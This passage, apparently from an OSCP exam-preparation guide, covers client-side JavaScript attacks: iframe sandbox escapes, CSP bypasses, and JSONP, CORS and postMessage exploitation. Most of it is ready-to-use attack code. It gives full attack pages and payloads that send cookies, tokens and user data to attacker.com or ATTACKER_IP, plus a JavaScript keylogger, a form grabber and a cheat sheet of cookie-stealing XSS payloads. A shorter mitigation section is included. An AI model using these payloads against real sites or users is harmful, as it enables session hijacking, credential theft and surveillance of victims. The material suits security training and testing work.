form.target = '_blank'; // Open in new tab

// Add stolen data
const cookieInput = document.createElement('input');
cookieInput.name = 'cookies';
cookieInput.value = document.cookie;

form.appendChild(cookieInput);
document.body.appendChild(form);
form.submit();

Chain 2: allow-scripts + allow-same-origin

// With same-origin, iframe has full access to parent
// This is essentially no sandbox!

// Access parent document
const parentDoc = window.parent.document;

// Manipulate parent page
parentDoc.body.innerHTML = '<h1>Hacked!</h1>';

// Steal parent cookies
const parentCookies = window.parent.document.cookie;

// Make requests on behalf of parent
fetch('http://target.com/api/admin', {
    credentials: 'include'
});

4.3.3 Working Code Examples

<!-- Vulnerable Configuration -->
<iframe sandbox="allow-scripts allow-same-origin" src="trusted.html"></iframe>

<!-- This is equivalent to NO sandbox! -->
<!-- The iframe can: -->
<!-- 1. Execute scripts -->
<!-- 2. Access parent document -->
<!-- 3. Make same-origin requests -->
<!-- 4. Set cookies -->
<!-- 5. Everything a normal page can do -->

<!-- Inside trusted.html -->
<script>
    // Full access to parent
    console.log('Parent URL:', window.parent.location.href);
    console.log('Parent Cookies:', window.parent.document.cookie);
    
    // Modify parent page
    window.parent.document.body.style.background = 'red';
    
    // Make authenticated requests
    fetch('/api/user-data', {
        credentials: 'include'
    })
    .then(r => r.json())
    .then(data => {
        // Send stolen data to attacker
        new Image().src = 'http://attacker.com/steal?data=' + encodeURIComponent(JSON.stringify(data));
    });
</script>

4.4 Form Submission Sandbox Escape

4.4.1 Technical Explanation

Forms in sandboxed iframes can be used to escape the sandbox by:

  1. Submitting to _top or _parent target
  2. Exfiltrating data via POST requests
  3. Triggering server-side actions

4.4.2 Attack Implementation

// Complete form-based escape
function sandboxEscape() {
    // Create hidden form
    const form = document.createElement('form');
    form.method = 'POST';
    form.action = 'http://attacker.com/exfil';
    form.target = '_top'; // Escape to top frame
    
    // Collect sensitive data
    const data = {
        cookies: document.cookie,
        localStorage: JSON.stringify(localStorage),
        url: window.location.href,
        userAgent: navigator.userAgent
    };
    
    // Add data as form fields
    for (let key in data) {
        const input = document.createElement('input');
        input.type = 'hidden';
        input.name = key;
        input.value = data[key];
        form.appendChild(input);
    }
    
    // Submit form
    document.body.appendChild(form);
    form.submit();
}

// Auto-execute
sandboxEscape();

4.5 CSP Evasion Techniques

4.5.1 Technical Explanation

Content Security Policy (CSP) restricts resource loading and script execution. Understanding CSP evasion is crucial for bypassing this protection.

4.5.2 Common CSP Configurations and Bypasses

Weak CSP:

Content-Security-Policy: script-src 'self' 'unsafe-inline'
// 'unsafe-inline' allows inline scripts
// Attack: Inject inline script via XSS
<script>alert('XSS')</script>

CSP with Wildcard:

Content-Security-Policy: script-src 'self' *
// Wildcard allows any external script
// Attack: Load malicious script from attacker server
<script src="http://attacker.com/malicious.js"></script>

CSP with data: URI:

Content-Security-Policy: script-src 'self' data:
// data: URI allowed
// Attack: Inline script via data URI
<script src="data:text/javascript,alert('XSS')"></script>

4.5.3 Working Code Examples

<!-- Page with CSP -->
<!-- CSP: script-src 'self' 'unsafe-eval' -->
<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Security-Policy" 
          content="script-src 'self' 'unsafe-eval'">
</head>
<body>
    <h1>Protected Page</h1>
    
    <script>
        // 'unsafe-eval' allows eval()
        // If we have XSS, we can use eval
        function processData(input) {
            eval(input); // Allowed by CSP!
        }
    </script>
</body>
</html>

<!-- Attack if XSS exists -->
<!-- Inject: <script>eval('alert("CSP bypass via unsafe-eval")')</script> -->

4.6 Sandbox Escape Summary

Technique Required Flags Risk Level Detection Mitigation
Form Submission allow-forms + allow-scripts High Medium Remove allow-forms
postMessage allow-scripts High Low Validate origin, no eval
DOM Manipulation allow-scripts + allow-same-origin Critical Low Never use allow-same-origin
Window Navigation allow-top-navigation Medium Low Remove flag
CSP Evasion Depends on policy Varies Medium Strict CSP, no unsafe-*

5. JavaScript Context-Specific Attacks

5.1 JSONP Abuse

5.1.1 Technical Explanation

JSONP (JSON with Padding) is a technique for bypassing CORS by using <script> tags. It’s vulnerable when:

  1. The callback parameter is not validated
  2. Sensitive data is returned via JSONP
  3. No authentication is required

5.1.2 Attack Vectors

Data Exfiltration:

<!-- Vulnerable JSONP Endpoint -->
<!-- GET /api/user?callback=userCallback -->
<!-- Response: userCallback({"name": "John", "email": "john@example.com", "ssn": "123-45-6789"}) -->

<!-- Attack Page -->
<!DOCTYPE html>
<html>
<body>
    <script>
        // Intercept JSONP callback
        function userCallback(data) {
            // Exfiltrate sensitive data
            new Image().src = 'http://attacker.com/steal?data=' + 
                encodeURIComponent(JSON.stringify(data));
        }
    </script>
    
    <!-- Load JSONP endpoint -->
    <script src="http://target.com/api/user?callback=userCallback"></script>
</body>
</html>

Callback Parameter Injection:

// Vulnerable: No callback validation
app.get('/api/data', (req, res) => {
    const callback = req.query.callback;
    const data = { secret: 'sensitive-data' };
    
    // Dangerous: Direct callback usage
    res.set('Content-Type', 'application/javascript');
    res.send(`${callback}(${JSON.stringify(data)})`);
});

// Attack: Inject script via callback
// ?callback=alert('XSS');//
// Response: alert('XSS');//({"secret":"sensitive-data"})

5.1.3 Working Code Examples

<!-- Complete JSONP Attack -->
<!DOCTYPE html>
<html>
<head><title>JSONP Attack</title></head>
<body>
    <h1>JSONP Data Exfiltration</h1>
    <div id="results"></div>
    
    <script>
        // Step 1: Define callback to capture data
        window.stealData = function(data) {
            console.log('Stolen data:', data);
            document.getElementById('results').innerHTML = 
                '<pre>' + JSON.stringify(data, null, 2) + '</pre>';
            
            // Step 2: Exfiltrate to attacker server
            fetch('http://attacker.com/collect', {
                method: 'POST',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify(data)
            });
        };
        
        // Step 3: Load JSONP endpoint
        const script = document.createElement('script');
        script.src = 'http://target.com/api/profile?callback=stealData';
        document.head.appendChild(script);
    </script>
</body>
</html>

<!-- Target JSONP Endpoint Response -->
<!-- stealData({
    "userId": 12345,
    "name": "John Doe",
    "email": "john@company.com",
    "phone": "+1234567890",
    "address": "123 Main St"
}) -->

5.2 CORS Misconfiguration Exploitation

5.2.1 Technical Explanation

Cross-Origin Resource Sharing (CORS) allows controlled cross-origin requests. Misconfigurations can lead to:

  • Unauthorized data access
  • Credential theft
  • CSRF-like attacks

5.2.2 Common Misconfigurations

Wildcard Origin with Credentials:

# Vulnerable Response Headers
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
// Attack: Access protected resources
fetch('http://target.com/api/user-data', {
    method: 'GET',
    credentials: 'include' // Send cookies
})
.then(r => r.json())
.then(data => {
    console.log('Stolen data:', data);
    // Exfiltrate...
});

Reflective Origin:

# Server reflects attacker's origin
Access-Control-Allow-Origin: http://attacker.com
Access-Control-Allow-Credentials: true
// From attacker.com
fetch('http://target.com/api/sensitive', {
    credentials: 'include'
})
.then(r => r.json())
.then(data => {
    // Data stolen!
    new Image().src = 'http://attacker.com/steal?data=' + 
        encodeURIComponent(JSON.stringify(data));
});

Null Origin:

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
// From sandbox or data: URI
// Origin appears as "null"
fetch('http://target.com/api/data', {
    credentials: 'include'
});

5.2.3 Working Code Examples

<!-- CORS Attack Page -->
<!DOCTYPE html>
<html>
<head><title>CORS Attack</title></head>
<body>
    <h1>CORS Misconfiguration Exploit</h1>
    <button id="stealBtn">Steal Data</button>
    <pre id="output"></pre>
    
    <script>
        document.getElementById('stealBtn').addEventListener('click', async () => {
            try {
                // Exploit CORS misconfiguration
                const response = await fetch('http://target.com/api/user/profile', {
                    method: 'GET',
                    credentials: 'include', // Include victim's cookies
                    headers: {
                        'Accept': 'application/json'
                    }
                });
                
                const data = await response.json();
                
                // Display stolen data
                document.getElementById('output').textContent = 
                    JSON.stringify(data, null, 2);
                
                // Exfiltrate to attacker server
                await fetch('http://attacker.com/exfil', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify(data)
                });
                
                alert('Data stolen successfully!');
                
            } catch (error) {
                console.error('Attack failed:', error);
            }
        });
    </script>
</body>
</html>

5.3 postMessage Wildcard Attacks

5.3.1 Technical Explanation

postMessage() enables cross-origin communication. Vulnerabilities occur when:

  1. Origin is not validated (* wildcard)
  2. Message data is executed without sanitization
  3. Sensitive data is sent without origin verification

5.3.2 Attack Vectors

Wildcard Receiver:

// Vulnerable: Accepts messages from any origin
window.addEventListener('message', (event) => {
    // No origin check!
    if (event.data.type === 'execute') {
        eval(event.data.code); // RCE!
    }
});

// Attack from any origin
// window.postMessage({type: 'execute', code: 'alert("XSS")'}, '*');

Data Exfiltration:

// Vulnerable: Sends sensitive data without origin check
window.addEventListener('message', (event) => {
    if (event.data.request === 'userData') {
        // Sends data to ANY origin
        event.source.postMessage({
            userData: {
                token: localStorage.getItem('authToken'),
                email: currentUser.email
            }
        }, event.origin); // Dangerous!
    }
});

// Attack
window.postMessage({request: 'userData'}, 'http://target.com');

5.3.3 Working Code Examples

<!-- Attack Page -->
<!DOCTYPE html>
<html>
<head><title>postMessage Attack</title></head>
<body>
    <h1>postMessage Exploitation</h1>
    <iframe id="target" src="http://target.com/app" style="display:none"></iframe>
    <pre id="output"></pre>
    
    <script>
        const iframe = document.getElementById('target');
        
        // Wait for iframe to load
        iframe.addEventListener('load', () => {
            // Send malicious message
            iframe.contentWindow.postMessage({
                type: 'command',
                command: 'getUserData'
            }, 'http://target.com');
        });
        
        // Listen for response
        window.addEventListener('message', (event) => {
            console.log('Received:', event.data);
            
            if (event.data.userData) {
                document.getElementById('output').textContent = 
                    JSON.stringify(event.data.userData, null, 2);
                
                // Exfiltrate
                new Image().src = 'http://attacker.com/steal?data=' + 
                    encodeURIComponent(JSON.stringify(event.data.userData));
            }
        });
    </script>
</body>
</html>

<!-- Target Application (Vulnerable) -->
<script>
    window.addEventListener('message', (event) => {
        // Vulnerable: No origin validation
        if (event.data.type === 'command') {
            if (event.data.command === 'getUserData') {
                // Send sensitive data back
                event.source.postMessage({
                    userData: {
                        token: localStorage.getItem('token'),
                        user: JSON.parse(localStorage.getItem('user'))
                    }
                }, '*'); // Wildcard origin!
            }
        }
    });
</script>

5.4 Hash-Based Attacks (Revisited)

5.4.1 Advanced Techniques

Token Theft via Hash:

// Vulnerable: Storing tokens in hash
window.location.hash = '#token=' + authToken;

// Attack: Read hash from another tab
// If same origin, can read via:
window.opener.location.hash;

// Or via postMessage
window.addEventListener('storage', (e) => {
    if (e.key === 'hashToken') {
        // Token stolen!
        console.log('Stolen token:', e.newValue);
    }
});

Fragment Identifier Injection:

// Vulnerable: Using hash for state
const state = window.location.hash.substring(1);
const params = new URLSearchParams(state);
const action = params.get('action');

if (action === 'delete') {
    deleteUser(params.get('id'));
}

// Attack: Craft malicious hash
// #action=delete&id=1
// Bypasses CSRF if not properly protected

5.5 Context-Specific Attacks Summary

Attack Type Prerequisite Impact Detection Mitigation
JSONP Abuse JSONP endpoint Data theft Medium Remove JSONP, use CORS
CORS Misconfig Misconfigured headers Data theft Low Strict origin validation
postMessage Wildcard Wildcard origin RCE/Data theft Medium Validate origin always
Hash Token Theft Token in hash Auth bypass High Use HTTP-only cookies
Fragment Injection Hash-based routing CSRF-like Medium Validate server-side

6. Advanced Exploitation Techniques

6.1 Polyglot XSS Payloads

Polyglot payloads work across multiple contexts (HTML, JavaScript, CSS, attributes):

// Universal XSS Polyglot
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

// Another polyglot
'"<img src=x onerror=alert(1)>"'

// Context-breaking polyglot
';alert(1);//
"alert(1);//
>alert(1)<

6.2 DOM Clobbering

<!-- Attack: Clobber DOM elements -->
<!-- Input via URL or reflected content -->
<a id="username" href="malicious"></a>
<b id="username"><a id="value" href="stolen"></a></b>

// Vulnerable code
var username = window.username; // Now references the element!
var value = username.value; // Gets "stolen"

6.3 JavaScript Protocol Abuse

<!-- javascript: protocol in various contexts -->
<a href="javascript:alert('XSS')">Click me</a>
<iframe src="javascript:alert('XSS')"></iframe>
<object data="javascript:alert('XSS')"></object>

<!-- URL encoding bypasses -->
<a href="javascript:&#97;lert(1)">Click</a>
<a href="javascript:\x61lert(1)">Click</a>

7. Detection and Mitigation

7.1 Comprehensive Detection Strategy

7.1.1 Automated Tools

# XSS Detection Tools
# 1. XSStrike
python3 xsstrike.py -u "http://target.com/search?q=test" --random-agent

# 2. dalfox
dalfox url "http://target.com/search?q=test" --deep-domxss

# 3. dalfox with wordlist
dalfox file urls.txt --mode deep

# 4. Baseline Scanner
python3 baseline.py -u "http://target.com" -m xss

# 5. Burp Suite
# - Active Scan with XSS policy
# - Intruder with XSS payloads
# - Decoder for encoding testing

7.1.2 Manual Testing Checklist

□ Test all input fields
□ Test URL parameters (GET)
□ Test form submissions (POST)
□ Test HTTP headers (Referer, User-Agent, Custom)
□ Test cookies
□ Test localStorage/sessionStorage
□ Test hash fragments
□ Test file uploads (metadata)
□ Test AJAX endpoints
□ Test WebSocket messages
□ Test SVG/HTML file uploads
□ Test rich text inputs
□ Test JSON inputs
□ Test XML inputs

7.2 Defense-in-Depth Mitigation

7.2.1 Server-Side Protections

// Express.js Security Middleware
const helmet = require('helmet');
const xss = require('xss');

app.use(helmet()); // Sets security headers

// Input sanitization
function sanitizeInput(input) {
    return xss(input);
}

// Output encoding
function encodeOutput(output, context = 'html') {
    switch(context) {
        case 'html':
            return he.encode(output);
        case 'attribute':
            return '"' + he.encode(output) + '"';
        case 'javascript':
            return JSON.stringify(output);
        case 'url':
            return encodeURIComponent(output);
        case 'css':
            return CSS.escape(output);
        default:
            return he.encode(output);
    }
}

7.2.2 Content Security Policy

# Strict CSP
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; object-src 'none'; frame-ancestors 'self'; base-uri 'self'; form-action 'self';

# CSP Report-Only (for testing)
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report;

7.2.3 Secure Coding Patterns

// Secure postMessage
window.addEventListener('message', (event) => {
    // 1. Validate origin
    if (event.origin !== 'https://trusted-domain.com') {
        return;
    }
    
    // 2. Validate message structure
    if (!event.data || typeof event.data !== 'object') {
        return;
    }
    
    // 3. Process safely (no eval!)
    if (event.data.type === 'greeting') {
        console.log('Hello from:', event.data.name);
    }
});

// Secure storage
const SecureStorage = {
    set(key, value) {
        localStorage.setItem(key, btoa(JSON.stringify(value)));
    },
    
    get(key) {
        try {
            const item = localStorage.getItem(key);
            return item ? JSON.parse(atob(item)) : null;
        } catch {
            return null;
        }
    }
};

// Safe DOM manipulation
function safeSetText(elementId, text) {
    const el = document.getElementById(elementId);
    if (el) {
        el.textContent = text; // Safe!
    }
}

function safeSetHTML(elementId, html) {
    const el = document.getElementById(elementId);
    if (el) {
        // Use DOMPurify for HTML sanitization
        el.innerHTML = DOMPurify.sanitize(html);
    }
}

8. OSCP Lab Scenarios and Tips

8.1 Common Lab Scenarios

Scenario 1: Reflected XSS to Session Hijacking

Target: http://10.10.10.x/search?q=
Vulnerability: Reflected XSS in search parameter
Goal: Steal admin session

Steps:
1. Identify XSS: ?q=<script>alert(1)</script>
2. Craft payload: ?q=<script>document.location='http://10.10.14.x/steal?c='+document.cookie</script>
3. Start listener: python3 -m http.server 80
4. Send link to admin (via email, forum, etc.)
5. Capture cookie in access.log
6. Import cookie into browser
7. Access admin panel

Scenario 2: Stored XSS via Comments

Target: Blog application with comments
Vulnerability: Stored XSS in comment field
Goal: Execute code on admin's browser

Steps:
1. Post comment: <script>new Image().src='http://10.10.14.x/?c='+document.cookie</script>
2. Start listener
3. Wait for admin to view post
4. Capture cookie
5. Hijack session

Scenario 3: DOM-Based XSS

Target: SPA with hash-based routing
Vulnerability: DOM manipulation of hash content
Goal: Execute JavaScript

Steps:
1. Identify: #<script>alert(1)</script>
2. Craft: #<img src=x onerror=document.location='http://10.10.14.x/?c='+document.cookie>
3. Deliver payload
4. Capture data

8.2 OSCP Exam Tips

Time Management

□ Spend max 30 minutes on client-side attacks initially
□ If stuck, move to other attack vectors
□ Return with fresh perspective
□ Document findings as you go

Payload Delivery Methods

1. Direct URL (if victim clicks link)
2. Email with embedded link
3. Forum/comment injection
4. Profile picture/URL fields
5. Rich text editors
6. File upload metadata
7. HTTP Referer header

Essential Payloads to Remember

// Cookie stealer
document.location='http://ATTACKER_IP/steal?c='+document.cookie

// Image-based (no script tag)
<img src=x onerror=document.location='http://ATTACKER_IP/?c='+document.cookie>

// SVG-based
<svg onload=document.location='http://ATTACKER_IP/?c='+document.cookie>

// Event handler based
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>

// No quotes, no parentheses
<img src=x onerror=alert`1`>

8.3 Post-Exploitation via JavaScript

// Keylogger
document.onkeypress = function(e) {
    new Image().src = 'http://ATTACKER_IP/log?k=' + e.key;
};

// Screenshot via canvas (if accessible)
html2canvas(document.body).then(canvas => {
    new Image().src = 'http://ATTACKER_IP/screenshot?data=' + 
        encodeURIComponent(canvas.toDataURL());
});

// Form grabber
document.querySelectorAll('form').forEach(form => {
    form.addEventListener('submit', (e) => {
        const data = new FormData(form);
        const params = new URLSearchParams(data).toString();
        new Image().src = 'http://ATTACKER_IP/forms?' + params;
    });
});

9. Practice Exercises

Exercise 1: Find and Exploit XSS

Scenario: A web application at http://10.10.10.x has a search function. Find and exploit any XSS vulnerabilities.

Hints:

  • Test all parameters
  • Try different encodings
  • Check DOM manipulation

Exercise 2: Prototype Pollution Challenge

Scenario: An application merges user configuration. Find and exploit prototype pollution.

Hints:

  • Look for __proto__ in JSON input
  • Check for sensitive properties
  • Chain with eval if possible

Exercise 3: CORS Exploitation

Scenario: An API endpoint has CORS misconfiguration. Exploit it to access sensitive data.

Hints:

  • Check response headers
  • Try wildcard origin
  • Test with credentials

10. Reference Cheat Sheet

Quick Payload Reference

// Basic XSS
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>

// Cookie Stealing
<script>document.location='http://ATTACKER/?c='+document.cookie</script>

// No Script Tag
<img src=x onerror=document.location='http://ATTACKER/?c='+document.cookie>

// Event Handlers
onerror=
onload=
onfocus=
onmouseover=
onclick=
oninput=
onsubmit=

// Encoding Bypasses
&#60;script&#62;alert(1)&#60;/script&#62;
\x3cscript\x3ealert(1)\x3c/script\x3e
%3Cscript%3Ealert(1)%3C/script%3E

// Prototype Pollution
{"__proto__": {"isAdmin": true}}
{"constructor": {"prototype": {"isAdmin": true}}}

// JSONP Attack
<script src="http://target.com/api?callback=steal"></script>
<script>function steal(data){new Image().src='http://ATTACKER/?d='+JSON.stringify(data)}</script>

// postMessage Attack
window.postMessage({type:'exec',code:'alert(1)'},'*')

// CORS Exploit
fetch('http://target.com/api',{credentials:'include'})

Essential Commands

# Start HTTP server for payload delivery
python3 -m http.server 80

# Check for captured cookies
tail -f access.log

# XSStrike
python3 xsstrike.py -u "URL"

# dalfox
dalfox url "URL"

# Burp Suite
# Configure proxy, intercept, scan

Mitigation Checklist

□ Implement Content Security Policy
□ Use HTTP-only, Secure, SameSite cookies
□ Sanitize all user input
□ Encode all output based on context
□ Validate postMessage origins
□ Remove JSONP endpoints
□ Configure CORS strictly
□ Use modern frameworks with auto-escaping
□ Implement input validation
□ Regular security testing

Summary

JavaScript-based attacks represent a critical attack vector in client-side exploitation. Key takeaways:

  1. Injection is Everywhere: URL params, storage, cookies, headers - all can be vectors
  2. Gadget Chains Matter: Prototype pollution, eval, and Function constructor enable RCE
  3. Sandboxes Can Be Escaped: iframe sandboxes have bypasses, especially with wrong flag combinations
  4. Context is King: JSONP, CORS, and postMessage have specific exploitation patterns
  5. Defense in Depth: No single mitigation is sufficient; layer multiple protections

For OSCP success, practice these techniques in lab environments and develop muscle memory for payload crafting and delivery.


Last Updated: 2026-09-01 For OSCP Exam Preparation - Client-Side Attacks Domain